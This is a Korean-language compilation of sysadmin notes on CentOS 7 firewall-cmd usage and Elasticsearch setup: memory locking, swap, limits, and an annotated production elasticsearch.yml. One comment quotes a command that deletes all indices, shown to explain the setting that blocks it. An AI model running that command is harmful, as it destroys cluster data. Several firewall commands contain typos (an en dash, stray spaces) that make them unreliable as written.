참고-명령어-방화벽(firewall).docx


CentOS7.4 – firewall-cmd

CentOS7.X_firewall: https://www.manualfactory.net/10153

CentOS7.X_firewall: https://www.lesstif.com/pages/viewpage.action?pageId=22053128

CentOS6.X_iptables: http://webdir.tistory.com/170

 

- 방화벽 설치 및 시작,종료

[root@localhost ~]# yum install firewalld

[root@localhost ~]# systemctl start firewalld

[root@localhost ~]# systemctl enable firewalld

 

- 방화벽 실행 여부 확인

[root@localhost ~]# firewall-cmd --state

 

- 방화벽 다시 로드

[root@localhost ~]# firewall-cmd –reload

l  방화벽 설정 후 다시 로드해야 적용됩니다.

 

- 방화벽 zone 출력 (zone 목록을 출력한다.)

[root@localhost ~]# firewall-cmd  --get -zones

 

- 방화벽 zone 출력 (기본 zone)

[root@localhost ~]# firewall-cmd  --get -default -zones

 

- 방화벽 zone 출력 (활성 zone)

[root@localhost ~]# firewall-cmd  --get -active -zones

 

 

- 사용 가능한 서비스/포트 출력 (사용가능한 모든 서비스/포트 목록 출력)

[root@localhost ~]# firewall-cmd --list-all

 

- 사용 가능한 서비스/포트 출력 (public 존에 속한 사용 가능한 모든 서비스/포트 목록 출력)

[root@localhost ~]# firewall-cmd --zone=public --list-all

 

 

- 서비스 추가/서비스 삭제/포트 추가/포트 제거 (서비스 추가)

[root@localhost ~]# firewall-cmd --add-service=ftp

[root@localhost ~]# firewall-cmd –reload

 

서비스 추가/서비스 삭제/포트 추가/포트 제거 (서비스 삭제)

[root@localhost ~]# firewall-cmd --remove-service=ftp

[root@localhost ~]# firewall-cmd –reload

 

- 서비스 추가/서비스 삭제/포트 추가/포트 제거 (포트 추가)

[root@localhost ~]# firewall-cmd --add-port=21/tcp

[root@localhost ~]# firewall-cmd –reload

 

서비스 추가/서비스 삭제/포트 추가/포트 제거 (포트 삭제)

[root@localhost ~]# firewall-cmd --remove-port=21/tcp

[root@localhost ~]# firewall-cmd –reload

 

 

- permanent

[root@localhost ~]# firewall-cmd --permanent --add-port=21/tcp

[root@localhost ~]# firewall-cmd –reload

시스템 재부팅 또는 방화벽 재시작 후에도 적용되도록 하는 옵션 –permanent .

 

 

* Firewall vs iptables


Elasticsearch Configuration

https://uncle-bae.blogspot.kr/2015/12/elasticsearch-configuration.html


Environment Variables 

- EL은 자바의 환경변수 JAVA_OPTS에 따른다.
- 가장 중요한 환경 설정값은 -Xmx (최대 메모리),  -Xms (최소메모리) 의 설정이다.
- 대부분 JAVA_OPTS는 그대로 두고, ES_JAVA_OPTS를 설정하여 JVM의 환경변수를 변경한다.
- ES_HEAP_SIZE 환경 변수는 힙 메모리를 설정하는 값이다.
    - 이 설정값을 설정하면 ES_MIN_MEM(기본 256m), ES_MAX_MEM(기본 1g)을 같은 값으로 설정한다.
# 추천 :
  - 값은 min과 max를 동일하게 하는것
  - mlockall enable로 설정하기.

System Configuration 

File Descriptors

- 머신에서 설정된 open file의 수를 다음으로 증가 시킨다. 32k --> 64k (추천)
- 얼마나 많은 수의 파일이 오픈 될 수 있는지 설정을 한다.

    -Des.max-open-files=true

- 이렇게 설정하면 엘라스틱 서치가 올라올때 최대 오픈할 수 있는 파일 수를 프린트한다.
- 다른 방법으로는 엘라서틱 질의를 통해서 max_file_descriptors를 확인할 수 있다.

curl localhost:9200/_nodes/process?pretty

Virtual memory 

Elasticsearch는 인덱스 저장을 위해서 hybrid mmaps / niofs 디렉토리를 기본으로 사용한다.
  * niofs : 파일시스템에 샤드 인덱스를 NIO를 이용하여 저장한다. 멀티 쓰레드가 동시에 동일한 파일을 읽을 수 있도록 지원한다. Windows에서는 사용하지 않도록 권고한다. Java 구현체에 버그가 있다.
  * mmaps : 파일스스템에 샤드 인덱스를 memory에 파일을 매핑하는 방식으로 저장한다. 메모리 매핑은 파일 크기와 동일한 가상메모리 공간을 이용한다.

기본 OS의 제약은 mmap에 그대로 적용되며, 너무 아래로 떨어지게 되면 out of memory 예외가 발생한다. Linux에서는 다음 명령어를 통해서 제한 값을 올릴 수 있다.

sysctl -w vm.max_map_count=262144

이 값을 영구적으로 설정하기 위해서는 vm.max.map_count 설정을 /etc/sysctl.conf 에 지정하자.
root계정으로만 가능하다.
  * 만약 .deb, .rpm으로 Elasticsearch를 설치한경우라면 이 값은 자동으로 설정된다.

Memory Settings 

대부분의 운영 체제는 시스템 캐시를 위해 가능한 많은 메모리를 사용하고자 한다. 그리고 어플리케이션에서 사용하지 않는 메모리는 swap out 하고자 시도한다. 엘라스틱 서치의 프로세스도 swap이 될 수 있다.
Swapping은 노드의 안정성을 유지하기 위해서 성능을 심각하게 떨어뜨리게 된다. 이러한 swap를 피하는 것이 좋다.

Disable swap 

가장 단순한 옵션으로 swap를 완젼히 정지 시킨다. 일반적으로 EL은 box에서 서비스를 수행하고, ES_HEAP_SIZE에 의해서 컨트롤 된다. swap를 enable로 설정할 필요가 없다.
리눅스 시스템에서 다음 명령어를 통해서 swap를 임시로 끌 수 있다.

sudo swapoff -a 

영구적으로 끄기 위해서는 /etc/fstab를 수정하고, swap로 된 모든 라인을 커멘트 처리 하면 된다.
Windows에서는 다음 경로에서 disable할 수 있다.

System Properties -> Advanced -> Performance -> Advanced -> Virtual memory

Configure swappiness 

두번째 옵션은 sysctl 값인 vm.swappiness를 0으로 설정하는 방법이다.
이것은 커널이 swap 하고자 하는 경향을 줄여주고, 일반적인 환경에서는 swap를 수행하지 않도록 해준다. 긴급 상황에서만 swap를 수행한다.

# 참고 : 커널버젼 3.5-rc1 이상 버젼에서는 swappiness의 값을 0으로 설정하면 OOM killer 가 나타나면 swapping을 수행하는 대신에 해당 프로세스를 kill한다. swappiness 를 1로 설정하면 swapping을 수행한다.

mlockall

이 옵션은 mlockall을 이용하며  Linux / Unix시스템의 기능을 이용한다.  혹은 윈도우에서는 VirtualLock 기능을 이용한다.
이것은 RAM의 공간에 lock을 거는 방법으로 Elasticsearch 메모리가 swapped out되는 것을 막아준다. 이것은 config/elasticsearch.yml 파일에 다음과 같이 정의하는 것으로 설정이 가능하다.

bootstrap.mlockall: true

Elasticsearch가 실행된후 해당 옵션이 성공적으로 적용되었는지 확인은 다음과 같이 수행할 수 있다.

curl http://localhost:9200/_nodes/process?pretty

만약 mlockall이 false로 설정 되어 있다면 mlockall요청이 실패 했음을 의미한다. 이 이유는 Linux/Unix시스템에서 EL이 메모리 lock권한을 가지고 있지 않은 경우 발생한다.
이것은 ulimit -l unlimited 값을 root권한으로 지정하면 가능하다.
mlockall이 실패할 수 있는 또 다른 이유는 /tmp 디렉토리가 noexec옵션으로 마운트 된 경우에 가능성이 있다. 이것은 Elasticsearch를 실행할때 옵션을 선택하여 temp 위치를 변경하는 것으로 해결이 가능하다.

./bin/elasticsearch -Djna.tmpdir=/path/to/new/dir

# mlockall은 JVM이나 shell session을 종료시킬 수 있는데 이것은 가용한 용량보다 더 많은 메모리를 할당하고자 하는 경우 발생될 수 있다.

Elasticsearch Settings

elasticsearch설정 파일은 ES_HOME/config 폴더 아래에 있다. 폴더는 2개의 파일이 있으며, elasticsearch.yml로 Elasticsearch 설정을 하기 위한 파일과, logging.yml로 로기을 설정하기 위함이다.

설정 포맷은 YAML로 되어 있다.

다음은 모든 Base module들의 네트워크를 변경하는 것으로 바인드 시키고 publish를 해준다.

network :
    host : 10.0.0.4

 Paths

사용 환경에서 데이터의 위치와 로그 파일의 위치를 지정하고자 하는 니즈가 있을 것이다.

path :
    logs: /var/log/elasticsearch
    data: /var/data/elasticsearch

Cluster name

실제 환경에서는 절대로 클러스터 이름을 지정하는 것을 빼먹지 말자. 이것은 discover과 auto-join을 위해서 꼭 필요하다.

cluster:
    name: <NAME OF YOUR CLUSTER>

서로다른 환경에서 동일 클러스터 이름을 사용하지 않도록 주의하자. 그렇지 않으면 잘못된 클러스터에 노드가 조인된다. 예를 들면 logging-dev, logging-stage, logging-prod와 같이 클러스터를 나누자.

Node name

기본 노드 이름을 변경하고자 할수도 있다. 각 노드는 노출되는 호스트의 이름이 된다. 기본적으로 Elasticsearch는 랜덤하게 지정된다.

node:
    name: <NAME OF YOUT NODE>

머신의 호스트 이름은 환경 변수 HOSTNAME에 지정된 내역을 따른다. 만약 머신에 하나의 엘라스틱 서치 노드를 수행시킨다면 ${...}을 이용하여 호스트 이름을 지정할 수 있다.

node:
    name: ${HOSTNAME}

내부적으로 모든 설정은 namespaced 구조로 설정된다.
예를 들어 이전에 설명한 node.name으로 지정하여 설정할 수 있다. 이 의미는 설정을 JSON형식으로 쉽게 지정할 수 있다. 만약 JSON형식으로 처리하고자 한다면 elasticsearch.yml을 elasticsearch.json으로 변경하면 된다.

Configuration styles

{
    "network" : {
        "host" : "10.0.0.4"
    }
}

이것은 외부 설정인 ES_JAVA_OPTS를 이용하여 설정할 수 있다.

elasticsearch -Des.network.host=10.0.0.4

다른 옵션은 es.default 이다. prefix가 es.이며 이는 기본 설정을 의미한다. 이값은 명시적으로 설정파일에 지정하지 않으면 기본값으로 설정된다는 의미이다.

다른 옵션은 ${...}을 이용하는 것으로 이것은 환경 변수로 설정된 값을 이용한다.

{
    "network" : {
        "host" : "${ES_NET_HOST}"
    }
}

추가적으로 설정파일에 내역을 저장하지 않고자 한다면 ${prompt.text}혹은 ${prompt.secret} 을 이용할 수 있다. 이는 foreground로 설정값을 입력하라고 묻게 된다.
${prompt.secret} 는 터미널로 입력 하도록 물어본다.

node:
    name: ${prompt.text}

elasticsearch 커맨드를 실행하면 다음과 같은 프롬프트 화면을 보게 된다.

Enter value for [node.name]

# Elasticsearch는 ${prompt.text}혹은 ${prompt.secret}을 설정했을때 백그라운드로 실행하면 elasticsearch는 정상적으로 시작되지 않는다.

Index Settings

인덱스들이 생성되면 각 자신들의 설정을 제공할 수 있다. 예를 들어 다음은 인덱스를 메모리 기반의 저장소로 생성한다. 파일시스템을 생성하지 않고 말이다. 포맷은 YAML이나 JSON으로 지정이 가능하다.

$ curl -XPUT http://localhost:9200/kimchy/ -d \
'
index:
    refresh_interval: 5s
'

인덱스 레벨 설정은 node레벨과 같이 설정이 가능하다. 예를 들어 elasticsearch.yml파일에서 다음과 같이 지정할 수 있다.

index :
    refresh_interval: 5s

이것이 의미하는 바는 각 인덱스는 실행된 특정 노드에서 생성된 것을 획득하며, 이것은 시작시 특별히 지정하지 않으면 설정에 따라 메모리에 인덱스를 저장하게 될 것이다. 즉, 인덱스 레벨의 설정은 노드 설정에 지정된 값을 오버라이딩 한다. 물론 상단 예는 설정의 일부분이다.

$ elasticsearch -Des.index.refresh_interval=5s

모든 인덱스 레벨의 설정값은 각 인덱스 모듈에서 찾을 수 있다.

Loggin 

Elasticsearch는 내부 로깅을 위한 추상화를 제공한다. log4j를 이용한다. 이것은 log4j 설정을 통해서 가능하며 YAML을 이용하여 설정한다. 그리고 로깅 설정 파일은 config/logging.yml 에 지정이 가능하다.
JSON과 properties 포맷도 지정이 가능하다. 로깅 설정 파일은 여러개를 로드 할 수 있다. 이들은 시작시에 하나로 머지된다.
logger 섹션은 자바 패키지를 포함하고 있다. 그리고 각 해당하는 로그 레벨을 지정을 할 수 있다. 이것은 org.elasticsearch 프리픽스를 사용하지 않아도 되도록 한다.
appender 섹션은 로그들의 목적지를 포함한다.

Deprecation logging

추가적으로 elasticsearch는 deprecated된 액션의 로깅을 가능하게 한다. 예를 들어 앞으로 특정 기능을 이관할 필요가 있을때 미리 결정할 수 있도록 해준다. 기본적으로 deprecation로깅은 disabled되어 있다. config/logging.yml파일 에서 DEBUG로 로그 레벨을 설정할 수 있다.

deprecation: DEBUG, deprecation_log_file

이것은 일별 롤링 로그 파일을 로그 디렉토리에 생성한다.

from : https://www.elastic.co/guide/en/elasticsearch/reference/2.1/setup-configuration.html

ElasticSearch: Enable Mlockall in CentOS 7


http://mrzard.github.io/blog/2015/03/25/elasticsearch-enable-mlockall-in-centos-7/

 | COMMENTS

I have recently been wrestling with ElasticSearch/Elastic and how to finally enable mlockall under CentOS 7. You usually will get the “Unable to lock JVM memory (ENOMEM). This can result in part of the JVM being swapped out. Increase RLIMIT_MEMLOCK (ulimit)`.”

These are all the places I made changes to get it to work. Now, I don’t know if some of these steps are skippable (my guess is some of them are), but I got it working i nthe end, and my nodes are now happily showing `mlockall: true“

  • Make sure bootstrap.mlockall: true is uncommented in /etc/elasticsearch/elasticsearch.yml or the appropiate config file for your configuration.

  • Edit /etc/security/limits.conf and add these lines (or edit them if applicable). You usually will want to add them at the very end of the file.

1
2
3
elasticsearch - nofile 65535
elasticsearch - memlock unlimited
root - memlock unlimited
  • Edit /etc/sysconfig/elasticsearch. You will find these values commented, and possibly without values. Change them to these:
1
2
3
4
5
6
7
8
9
# ES_HEAP_SIZE; 30g for my nodes - look up a good value for yours
ES_HEAP_SIZE=30g

MAX_OPEN_FILES=65535
MAX_LOCKED_MEMORY=unlimited
...
# WORK_DIR: Make sure /tmp is not mounted as
# noexec OR put a regular directory here
WORK_DIR=/tmp/elasticsearch
  • Edit /usr/lib/systemd/system/elasticsearch.service and make sure LimitMEMLOCK is uncommented and set to infinity
1
2
3
4
# See MAX_LOCKED_MEMORY in sysconfig, use "infinity"
# when MAX_LOCKED_MEMORY=unlimited
# and using bootstrap.mlockall: true
LimitMEMLOCK=infinity
  • Edit /etc/init.d/elasticsearch and add su $ES_USER --shell /bin/bash -c "ulimit -l unlimited" before the actual start of ES, this is more or less how it looks in mine:
1
2
3
4
echo -n $"Starting $prog: "
# if not running, start it up here, usually something like "daemon $exec"
su $ES_USER --shell /bin/bash -c "ulimit -l unlimited"
daemon --user $ES_USER --pidfile $pidfile $exec -p $pidfile -d -Des.default.path.home=$ES_HOME -Des.default.path.logs=$LOG_DIR -Des.default.path.data=$DATA_DIR -Des.default.path.work=$WORK_DIR -Des.default.path.conf=$CONF_DIR

After I had everything in place, I restared my nodes and now they all show mlockall: truewhen checked with curl http://localhost:9200/_nodes/process?pretty

Hope this helps someone!


Production 환경 구성하기

본 문서는 Elasticsearch를 로그 수집기로 사용할 경우에 클러스터를 구성하고 인덱싱 위주의 설정을 하는 데에 중점을 두고 있다. 로그를 전달하는 Logstash류의 기술이나 수집한 로그의 사용에 관한 부분은 포함하지 않고 있다.
Elasticsearch를 실전에서 사용할 경우, 특히나 단위시간당 로그 수집량이 꽤 많을 것이라 예상된다면 노드 한 대 짜리 클러스터로는 부족할 것이고,각 노드의 Elasticsearch 실행도 기본 설정 만으로는 부족한 부분이 많을 것이다. 노드 몇 대 짜리 클러스터를 구성해야 할 지, 인덱스는 일별, 주별 어떤 단위로 쌓을 것인지 등등을 미리 고민하여 적절한 클러스터를 구성하고 알맞은 설정을 할 필요가 있다.


하드웨어 준비

어떤 서버를 몇 대나 사용할 것인지를 정하기 위해서, 쌓게 될 데이터의 양과 보관할 기간을 예측해야한다. 또한 각 하드웨어의 구성요소가 Elasticsearch에서 어떻게 사용되는 지를 아는 것도 도움이 될 것이다.

- INPUT

단위시간 당 로그의 양은 인덱싱에 영향을 주는 부분이므로 CPU와 메모리 등의 결정에 필요하다.

서버 사양의 정확한 결정을 위해서는 준비된 단위서버에서 받을 수 있는 최대치를 확인하고 차츰 늘려가는 방식을 사용할 수 있다.
다만, 현실적 이유로 우리 팀은 여유있게 클러스트를 우선 구성하고 차츰 줄여가는 방식을 사용했다.

로그를 며칠 분을 쌓을 것인지 정하는 것은 디스크 사양을 결정하는 데 도움이 된다.

클러스터의 총 데이터 양은 replica까지 고려해야 한다.  
예를 들어, replica 하나를 사용하게 되면 실제 받는 데이터의 두 배가 총 예측 데이터 양이 된다.
- 메모리

Elasticsearch에서 가장 중요한 하나만 꼽으라면 바로 메모리이다.

  • 권장 크기 : 16GB~64GB.

    • 일반적으로 서버 전체메모리의 반을 Elasticsearch에서 사용할 JVM Heap에 할당하는 것이 권장된다.

    • 메모리야 많을 수록 좋겠지만 JVM이 사용하는 트릭(compressed oops)이 32GB 아래에서 사용되는 제약이 있어서 그 두 배인 64GB의 최대 권장값을 가지게 되었다.

  • 메모리 64GB 이상의 아주 좋은 서버를 사용하게 되었을 경우,

    • 한 서버에서 여러 노드를 구성한다.

    • 로그 수집기가 아닌, full-text 검색을 많이 하는 시스템일 경우 Elasticsearch에는 max값인 64GB만 할당하고 나머지는 OS cache에 사용되도록 한다.

- CPU

더 빠른 속도와 더 많은 core 사이에서 갈등이 되는 상황이라면, multicore가 주는 concurrency가 더 이점이 많다고 볼 수 있다.

- 디스크

로그 수집기로서의 Elasticsearch는 indexing-heavy type이기때문에 디스크가 두 배로 중요하다.

  • SSD가 spinning disk보다 좋다. (하지만, 우리 팀은 가격과 AWS resource 제한의 압박으로;;;)

  • (노드 하나 당 디스크의 크기) = (보관 기간 동안의 데이터 총량) * (index.number_of_replicas + 1) / (노드 수)

  • RAID를 구성할 때는 RAID0 로 하는 것이 좋다.

    • 인덱싱(쓰기) 성능이 좋아진다.

    • High availability는 Elasticsearch의 자체 replica로 해결 가능하다.

    • 설정에서 path.data를 여러 개 지정해서 software raid를 사용할 수도 있다. path.data: /mnt/first,/mnt/second 또는 path.data: ["/mnt/first", "/mnt/second"]

  • NAS는 되도록 피한다. (느리고, SPOF이다.)

- 네트웍
  • multicast vs. unicast

    multicate가 기본 설정인데, 노드 간에 cluster.name이 일치하는 서로를 UDP ping을 통해 알아서 찾기 때문에 편리한 점이 있지만, 동시에 그것이 단점이 되기도하므로 개발용에서만 적합하다.
    즉, 안정된 production 환경의 클러스터에 원치 않는 노드의 추가로 불필요한 샤드 rebalancing이 일어나고 예기치 않은 성능 감소가 발생할 수 있다. 자동화가 만능은 아니다.
    production에서는 unicast를 쓰도록 discovery.zen.ping.multicast.enabled: false로 끄고 노드 추가시마다 discovery.zen.ping.unicast.hosts: ["host1", "host2:port"]와 같은 형식으로 클러스터에 있는 host 정보를 하나 이상 입력하여 클러스터에 포함되도록 한다.

  • 노드 간의 통신이 빨라야 하는 것은 기본이므로 한 클러스터의 노드들을 여러 data center에 배치하지 않는 것이 좋다.

- 클러스터
  • scale-up vs. scale-out
    기본적으로는 scale-out이 Elasticsearch의 지향점과 더 맞다.
    너무 좋은 서버는 리소스의 낭비가 크고 확장성 면에서도 유연함이 떨어지기 때문이다.
    하지만, 너무 가벼운 서버는 수천대가 필요할 수도 있다.
    결론은, 적당한 성능을 잘 선택하라는 이야기 (말이 쉽지)
    

각 노드에 Elasticsearch 설치

(설명은 ubuntu 12.04 기준)

  • Java 7 이상 설치 : oracle jdk나 openjdk 모두 상관은 없는데, oracle jdk는 debian계열 패키지 공식 지원을 끊었다. (공식 문서 상으로는 Java 8 update 20 or later, or Java 7 update 55 or later 를 추천)

    sudo apt-get update
    sudo apt-get install -y openjdk-7-jdk
    
  • Elasticsearch 최신버전 설치 (현재시점 1.4.2)

    wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.4.2.deb
    sudo dpkg -i elasticsearch-1.4.2.deb
    
  • /etc/init.d/elasticsearch 수정 권장 항목

    Elasticsearch 실행을 위한 OS 환경설정을 도와주는 옵션이다. 서버 재시작 시에도 Elasticsearch가 자동으로 실행되도록 하려면 아래와 같이 서비스 등록을 한다.
    sudo update-rc.d elasticsearch defaults 95 10

    ES_HEAP_SIZE=16g  
    # 위의 메모리 부분에서 언급했듯이 서버 메모리의 반을 할당하는 것이 권장된다.
    
    MAX_LOCKED_MEMORY=unlimited  
    # 메모리 스왑 방지를 위해 `bootstrap.mlockall: true` 설정을 하는 경우 이 값을 unlimited로 주어야 한다.
    
    MAX_MAP_COUNT=262144  
    # `default 65535` : 너무 작은 값은 out of memory exception을 내기 쉽다.  
    # deb 패키지로 설치한 경우에는 262144가 기본으로 잡혀있다.
    
  • /etc/elasticsearch/elasticsearch.yml 수정 권장 항목

    아래 나열된 항목 외에도 상황에 맞게 설정이 필요한 부분이 많다. 많은 설정값은 cluster settings update API나 index settings update API를 통해 서버 재시작이 필요 없는 dynamic update가 가능하기도 하다.

    cluster.name: test_cluster
    # 지정한 이름으로 노드들이 뭉치게 된다.  
    # 설정하지 않으면 기본 설정으로 Elasticsearch를 띄우는 모든 노드가 의도치않게 같이 묶일 수 있다.
    
    node.name: test_node01  
    # 설정하지 않으면 Elasticsearch가 적당한 이름을 지어주지만, 내 노드 이름은 내가 지어주도록 하자.
    
    node.max_local_storage.nodes: 1  
    # 기본적으로 Elasticsearch 프로세스 수 만큼 같은 서버에서 여러 노드를 띄울 수 있다.  
    # production에서는 이 값을 1로 주어 한 서버에 하나의 노드만 띄우도록 한다.
    
    path.data: /mnt/elasticserach/data  
    # 각 샤드의 파일들이 저장될 위치를 지정한다.  
    # 위의 디스크 부분에서 언급했듯이 여러개를 지정해서 software RAID0 처럼 이용할 수 있다.
    
    path.logs: /mnt/elasticsearch/log  
    # 로그 역시 기본 저장 위치를 변경할 수 있다.  
    # 기본적으로 날짜별로 로그가 나뉘어지기는 하나 rotating이 되지는 않는다.  
    # 디스크 공간을 위해서는 오래된 로그를 지워줄 필요가 있다.
    
    bootstrap.mlockall: true  
    # 메모리 swap 방지를 위한 매우 중요한 옵션이다.  
    # 아래 api 호출로 설정이 잘 되었는지 확인할 수 있다.  
    # >> curl localhost:9200/_nodes/process?pretty
    # 확인 결과 false 로 나온다면 max locked memory 값이 작기 때문일 것이다.  
    # >> ulimit -l unlimited  
    # 처럼 OS에서 직접 설정 할 수도 있고, 위에서 언급했듯이 /etc/init.d/elasticsearch 에서 MAX_LOCKED_MEMORY 값을 unlimited로 설정해서 실행하는 것으로 해결할 수 있다.
    
    http.port: 12345  
    # 기본값은 9200이고, 꼭 바꿀 필요는 없다.   
    # 우리 팀에서 최근에 새로 구성한 클러스터에서는 임의의 값으로 port를 바꿨다.  
    # dynamic scripting을 이용한 공격성 _search 요청에 대한 회피의 목적으로 알려진 9200 포트를 사용하지 않으려는 의도인데, 자세한 내용은 Security 관련 섹션에서 다루기로 한다.
    
    discovery.zen.ping.multicast.enabled: false  
    # production에서는 multicast의 단점이 많으니 false로 끄고 unicast를 사용하도록 한다.
    
    discovery.zen.ping.unicast.hosts: ["host1", "host2:port"]  
    # unicast에서는 클러스터를 찾기 위해 적어도 하나의 노드에 대한 host 정보를 입력한다.  
    # 첫 노드일 경우에는 입력하지 않아도 된다.
    
    action.auto_create_index: true  
    # [create index API](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/indices-create-index.html)를 사용해서 인덱스를 생성하지 않았더라도 첫 document를 받을 때 자동으로 인덱스를 만들어주는 옵션이다. 기본값은 켜져 있다.
    
    index.mapper.dynamic: true  
    # [put mapping API](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/indices-put-mapping.html)를 사용하지 않았더라도 자동으로 field type mapping을 만들어주는 옵션이다. 기본값은 켜져 있다.
    
    action.disable_delete_all_indices: true  
    # >> curl -XDELETE 'http://localhost:9200/_all/'  
    # 를 통해 모든 인덱스를 삭제하는 것을 막는다.
    
    indices.fielddata.cache.size: 75%  
    # fielddata cache는 주로 sorting이나 aggregation에 사용된다.  
    # 이 작업은 모든 field value가 메모리에 올라가게 되므로 꽤 expensive하여 `기본값은 unbounded`로 설정되어있다.
    # 하지만 이 값이 아래의 indices.breaker.fielddata.limit 보다 크게 되면 너무 큰 데이터 작업 시에 CircuitBreakingException이 발생하게 된다.
    # 또한, 이 값은 서버 재시작을 해야 적용이 되므로 처음에 띄울 때 적절한 값을 줄 필요가 있다.
    # 75% 라고 정하면 JVM heap의 75%를 의미하게 되고, 절대값으로 12GB 처럼 줄 수도 있다.
    
    indices.fielddata.cache.expire: -1
    # fielddata cache 만료를 5m과 같은 식으로 지정해 줄 수 있는 옵션인데 기본값은 -1로 사용하지 않는 것으로 설정되어있다.
    # 공식 문서에서는 이 옵션은 끔찍한 성능 저하만 주는 절대 사용하지 말아야 할 옵션으로 규정하고 있다. 사용하지 말자.
    
    indices.breaker.fielddata.limit: 77%
    # circuit breaker는 OutOfMemory Error를 막기 위해 메모리를 얼만큼 사용할 지를 정의하는 기능이다.
    # 1.4.0beta1 이전에는 fielddata circuit breaker만 있었으나 이후에 request circuit breaker가 추가되었다.
    # `기본값은 60%`이고, indices.fielddata.cache.size 보다 크도록 설정해야한다.
    
    indices.breaker.request.limit: 50%
    # request circuit breaker는 request마다 aggregation 등의 data structure가 사용할 메모리의 양을 제한하는 기능이다.
    # Elasticsearch의 heap은 바로 위의 fielddata와 이 request circuit breaker, 그 외에 인덱싱 메모리 버퍼, filter cache, 열려있는 인덱스에 사용되는 Lucene data structure 등등 다양한 요소와 공유가 되므로 이 circuit breaker limit에 적당한 값을 설정할 필요가 있다.
    # 과도하게 높게 잡으면 잠재적 OOM exception을 동반한 시스템 다운을 만날 수 있고, 너무 낮게 잡으면 쿼리가 실패할 확률이 높아진다. 물론, 시스템 다운보다는 쿼리 실패가 낫기 때문에 보수적인 설정으로 시작하는 것이 좋다.
    # `기본값은 40%`이다.
    
    indices.breaker.total.limit: 80%
    # 이 값은 fielddata와 request circuit breaker를 합쳐서 제한을 거는 기능이다.
    # `기본값은 70%`이다.
    
    cluster.routing.allocation.disk.watermark.low: 90%
    # 디스크 용량 기반으로 shard allocation을 도와주는 설정이다.
    # 디스크 사용량이 설정값을 넘으면 해당 노드에는 shard를 allocation하지 않는다.
    # `기본값은 85%`이다. 절대값으로 500mb 처럼 설정할 수도 있는데, 이 때에는 남은 디스크 용량을 의미한다.
    
    cluster.routing.allocation.disk.watermark.high: 95%
    # 디스크 사용량이 설정값을 넘어가면 해당 노드의 샤드를 다른 노드로 relocation한다.
    # `기본값은 90%`이다. 마찬가지로 절대값으로 정할 경우는 남은 용량 기준이 된다.
    
    cluster.routing.allocation.balance.shard: 0.1
    # 클러스터의 shard balancing 관련 옵션중 하나이다.
    # 이 값이 커지면 모든 노드에 샤드의 개수를 균등하게 분배하려는 경향이 강해진다는 것을 의미한다. 즉, 가중치 값이다.
    # `기본값은 0.45`이다.
    
    cluster.routing.allocation.balance.index: 0.9
    # 역시 가중치 인자로서 이 값이 커지면 각 인덱스에서 샤드의 개수를 균등하게 분배하려는 경향이 강해진다는 것을 의미한다.
    # 이 값은 바로 위의 cluster.routing.allocation.balance.shard와 합해서 1.0이 되어야 한다.
    # `기본값은 0.55`이다.
    
    cluster.routing.allocation.balance.primary: 0.0
    # 이 값은 Elasticsearch 1.3.8에서 deprecated 되었다.
    
    cluster.routing.allocation.balance.threshold: 0.8
    # balancing action이 일어나도록 하는 threshold 값이다. 작을수록 balancing이 일어날 확률이 높아진다.
    # `기본값은 1.0`이다.
    
    cluster.routing.allocation.cluster_concurrent_rebalance: 2
    # shard rebalancing이 동시에 몇 개 까지 허용되는 지를 결정하는 값이다.
    # `기본값은 1`이다. 제한을 없애려면 -1 을 준다.
    
    indices.store.throttle.max_bytes_per_sec: 20mb
    # 초당 설정값을 넘는 용량의 segemnt merge는 일어나지 않도록 throttle 시키는 옵션이다.
    # `기본값은 20mb`인데, spinning disk 기준이므로 SSD를 사용하고 있다면 100~200mb 정도로 늘려주는 것이 좋다.
    
    index.merge.scheduler.max_thread_count: 1
    # 인덱스 당 동시에 디스크에 access할 수 있는 thread의 수이다.
    # `기본값은 Math.min(3, Runtime.getRuntime().availableProcessors() / 2)`이다.
    # 기본값은 SSD로 구성된 시스템에 권장되고, spinning disk를 사용할 경우에는 concurrent I/O에 취약하므로 값을 1로 줄여주는 것이 좋다.
    
    index.translog.flush_threshold_size: 1GB
    # translog에 설정값 이상이 쌓이면 flush된다.
    # `기본값은 200MB`인데, 덜 자주 flush되도록 값을 늘려주면 인덱싱 성능에 도움이 된다.
    
    http.cors.enabled: true
    # cross-origin resource sharing 관련 옵션이다.
    # Elasticsearch 1.4 이상에서는 `기본값이 false`이므로, Kibana를 사용할 예정이라면 이 옵션을 켜준다.
    
    http.cors.allow-origin
    # resource sharing을 허용할 origin을 지정한다.
    # `기본값은 /.*/`이고 origin을 제한하기 위해서는 /https?:\/\/localhost(:[0-9]+)?/ 이런 식으로 regular expression을 용도에 맞게 만들어주면 된다.
    

유지보수

설치가 잘 끝난 후에 필요한 작업들을 알아본다.

- GUI

기본적으로 서버가 실행 된 것은 curl 'http://localhost:9200' 으로 확인할 수 있다. 더불어 노드나 클러스터의 상태를 확인하는 API로 더 자세한 정보를 확인 할 수도 있다. 하지만 GUI가 있다면 훨씬 많은 도움이 될 것이다.

  1. elasticsearch-head

    http://mobz.github.io/elasticsearch-head/
    대부분의 기능을 GUI를 통해 쉽게 사용할 수 있는 web frontend tool이다.
    Elasticsearch의 plugin으로 설치할 수도 있고, 웹서버에 index.html을 물려서 stand-alone으로 사용할 수도 있다.

    • plugin

      download 필요 없이 elasticsearch/bin/plugin -install mobz/elasticsearch-head라는 명령 한 줄이면 설치가 되지만, Elasticsearch API 도메인과 포트를 공유하게 되기 때문에 보안 설정이 된 환경이라면 방화벽 내에서만 실행이 가능하게 된다.

    • stand-alone

      조금 불편하더라도 클러스터 외부 서버에서 웹서버를 사용해 물리면 접속 인증이나 접근 제한 등 다양한 보안 설정을 하기 쉽고, 도메인 설정도 간편해진다.

  2. Marvel

    http://www.elasticsearch.org/overview/marvel
    elasticsearch-head보다 고급스러운, Elasticsearch에서 직접 만든 plugin이다. Kibana3 UI와 유사한 Dashboard를 통해 클러스터의 하드웨어 상황까지 더 예쁘고 자세하게 확인할 수 있다.
    다만, Production license는 유료로 구매를 해야 한다.
    Marvel용 메트릭 등의 데이터는 역시 Elasticsearch에 저장하게 되므로 개발용으로 사용할 때에는 Marvel용 클러스터를 따로 구성해야한다. (하루 치 Marvel용 인덱스 양만해도 상당해서 디스크 공간이 꽤 필요하다.)

한 줄 요약,
elasticsearch-head를 stand-alone으로 설치하고 웹서버에서 basic auth 정도라도 걸자.

- Rolling restart

